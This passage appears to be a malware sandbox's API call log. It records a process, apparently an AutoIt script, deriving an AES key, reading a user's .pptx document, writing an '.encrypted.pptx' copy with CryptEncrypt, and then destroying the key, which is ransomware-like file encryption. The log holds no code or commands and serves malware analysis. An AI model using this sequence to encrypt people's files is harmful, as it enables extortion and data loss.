CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.893] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.893] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.893] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.894] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.894] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.894] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.894] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0024.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.895] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.895] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.895] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.895] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.896] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\gxvaj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.896] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.896] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.896] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.896] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.896] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.897] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0024.897] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\gxvaj.encrypted.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.897] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.897] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.897] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.897] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.898] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.898] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.900] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xbd9, lpOverlapped=0x0) returned 1 [0024.900] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.902] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.902] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.903] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.903] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.904] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.904] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.904] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.904] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.904] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.905] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.905] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f40649f0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649f0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.905] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.905] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.905] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.905] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.905] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.906] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.906] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10bd9, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10be0) returned 1 [0024.906] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.906] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.906] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.906] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.906] CharLowerBuffW (in: lpsz="byte[68577]", cchLength=0xb | out: lpsz="byte[68577]") returned 0xb [0024.906] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.908] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.908] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.908] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.909] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.909] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f2da0*, pdwDataLen=0xe8f3dfdf68*=0x10bd9, dwBufLen=0x10be0 | out: pbData=0xe8f41f2da0*, pdwDataLen=0xe8f3dfdf68*=0x10be0) returned 1 [0024.909] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.909] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.909] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.910] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.910] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.910] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.910] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.913] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.913] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.913] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.915] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.915] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.915] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.915] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.915] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.915] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.915] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.915] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.915] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.915] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.916] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.916] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.916] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.916] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.916] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.916] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.916] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, 